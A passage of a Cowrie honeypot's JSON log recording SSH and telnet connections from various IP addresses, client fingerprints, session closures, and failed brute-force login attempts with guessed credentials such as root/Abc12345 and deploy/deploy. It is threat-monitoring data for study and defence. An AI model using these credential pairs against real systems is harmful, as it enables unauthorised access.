","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:22.791298Z","src_ip":"194.59.206.2","session":"53d29e45ce32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:22.953904Z","src_ip":"194.59.206.2","session":"53d29e45ce32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39368152618408,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:23.411097Z","src_ip":"62.210.97.77","session":"06b117c0814d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59356,"dst_ip":"10.17.0.5","dst_port":22,"session":"89faa80c2213","protocol":"ssh","message":"New connection: 176.65.132.254:59356 (10.17.0.5:22) [session: 89faa80c2213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:23.525930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:23.531243Z","src_ip":"176.65.132.254","session":"89faa80c2213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:23.613606Z","src_ip":"176.65.132.254","session":"89faa80c2213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:23.859335Z","src_ip":"176.65.132.254","session":"89faa80c2213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.22321128845215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:24.645723Z","src_ip":"62.210.97.77","session":"ff5ffe05e318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:24.954103Z","src_ip":"176.65.132.254","session":"89faa80c2213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.40072250366211,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:25.735915Z","src_ip":"62.210.97.77","session":"38f9d7c3d1b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35332,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad50216fc678","protocol":"telnet","message":"New connection: 62.210.97.77:35332 (10.17.0.5:23) [session: ad50216fc678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:25.755020Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35334,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be93e492f1a","protocol":"telnet","message":"New connection: 62.210.97.77:35334 (10.17.0.5:23) [session: 4be93e492f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:26.465942Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35344,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10196cbca8d","protocol":"telnet","message":"New connection: 62.210.97.77:35344 (10.17.0.5:23) [session: c10196cbca8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:26.713071Z"}
{"eventid":"cowrie.session.closed","duration":36.612762689590454,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:27.608408Z","src_ip":"62.210.97.77","session":"f078d1359cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00166940689087,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:27.943241Z","src_ip":"185.106.29.184","session":"6cba9ef41a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59362,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ffad42a14ae","protocol":"ssh","message":"New connection: 176.65.132.254:59362 (10.17.0.5:22) [session: 2ffad42a14ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:28.168392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:28.173008Z","src_ip":"176.65.132.254","session":"2ffad42a14ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:28.255031Z","src_ip":"176.65.132.254","session":"2ffad42a14ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45700,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d5dbe7e0b8","protocol":"telnet","message":"New connection: 134.209.8.29:45700 (159.203.135.109:23) [session: 72d5dbe7e0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:28.454202Z"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:28.517504Z","src_ip":"176.65.132.254","session":"2ffad42a14ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34440,"dst_ip":"10.17.0.5","dst_port":23,"session":"4328cf3cb2f0","protocol":"telnet","message":"New connection: 62.210.97.77:34440 (10.17.0.5:23) [session: 4328cf3cb2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:28.820901Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:29.847823Z","src_ip":"176.65.132.254","session":"2ffad42a14ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.22179293632507,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:31.438672Z","src_ip":"62.210.97.77","session":"eee5e0408473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35962,"dst_ip":"10.17.0.5","dst_port":22,"session":"e16c0e575e06","protocol":"ssh","message":"New connection: 176.65.132.254:35962 (10.17.0.5:22) [session: e16c0e575e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:32.561682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:32.566607Z","src_ip":"176.65.132.254","session":"e16c0e575e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:32.648301Z","src_ip":"176.65.132.254","session":"e16c0e575e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34442,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1113e6ab933","protocol":"telnet","message":"New connection: 62.210.97.77:34442 (10.17.0.5:23) [session: d1113e6ab933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:32.712409Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:33.169363Z","src_ip":"176.65.132.254","session":"e16c0e575e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47748,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac90fc21a98c","protocol":"telnet","message":"New connection: 38.54.119.93:47748 (10.17.0.5:23) [session: ac90fc21a98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:33.842532Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:34.253011Z","src_ip":"176.65.132.254","session":"e16c0e575e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54120,"dst_ip":"10.17.0.5","dst_port":23,"session":"172174049dda","protocol":"telnet","message":"New connection: 65.60.27.33:54120 (10.17.0.5:23) [session: 172174049dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:34.831421Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":33332,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd2624305a7f","protocol":"ssh","message":"New connection: 103.189.235.176:33332 (159.203.135.109:22) [session: bd2624305a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:34.985778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:34.990840Z","src_ip":"103.189.235.176","session":"bd2624305a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:35.222273Z","src_ip":"103.189.235.176","session":"bd2624305a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54538,"dst_ip":"10.17.0.5","dst_port":23,"session":"869229810392","protocol":"telnet","message":"New connection: 65.60.27.33:54538 (10.17.0.5:23) [session: 869229810392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:35.390182Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":38550,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ea2c2a29c17","protocol":"ssh","message":"New connection: 45.78.198.206:38550 (10.17.0.5:22) [session: 8ea2c2a29c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.174060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.178736Z","src_ip":"45.78.198.206","session":"8ea2c2a29c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123123","message":"login attempt [es/es123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.186994Z","src_ip":"103.189.235.176","session":"bd2624305a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.412558Z","src_ip":"45.78.198.206","session":"8ea2c2a29c17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47520,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafd1b497324","protocol":"telnet","message":"New connection: 134.209.8.29:47520 (159.203.135.109:23) [session: aafd1b497324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.666226Z"}
{"eventid":"cowrie.session.closed","duration":38.0416533946991,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.871056Z","src_ip":"65.60.27.33","session":"60a77659ef82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35976,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a6ee4b22c1","protocol":"ssh","message":"New connection: 176.65.132.254:35976 (10.17.0.5:22) [session: 35a6ee4b22c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.956027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:36.961029Z","src_ip":"176.65.132.254","session":"35a6ee4b22c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.042905Z","src_ip":"176.65.132.254","session":"35a6ee4b22c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.69765830039978,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.155583Z","src_ip":"65.60.27.33","session":"1cb4ff825b52","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.337578Z","src_ip":"176.65.132.254","session":"35a6ee4b22c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerqwer","message":"login attempt [ubuntu/qwerqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.369829Z","src_ip":"45.78.198.206","session":"8ea2c2a29c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.420591Z","src_ip":"103.189.235.176","session":"bd2624305a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00131487846375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.771415Z","src_ip":"185.106.29.184","session":"5a6870e3e55e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54627251625061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:37.987477Z","src_ip":"62.210.97.77","session":"3f19e11e281a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:38.421559Z","src_ip":"176.65.132.254","session":"35a6ee4b22c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:39.046528Z","src_ip":"45.78.198.206","session":"8ea2c2a29c17","protocol":"ssh"}
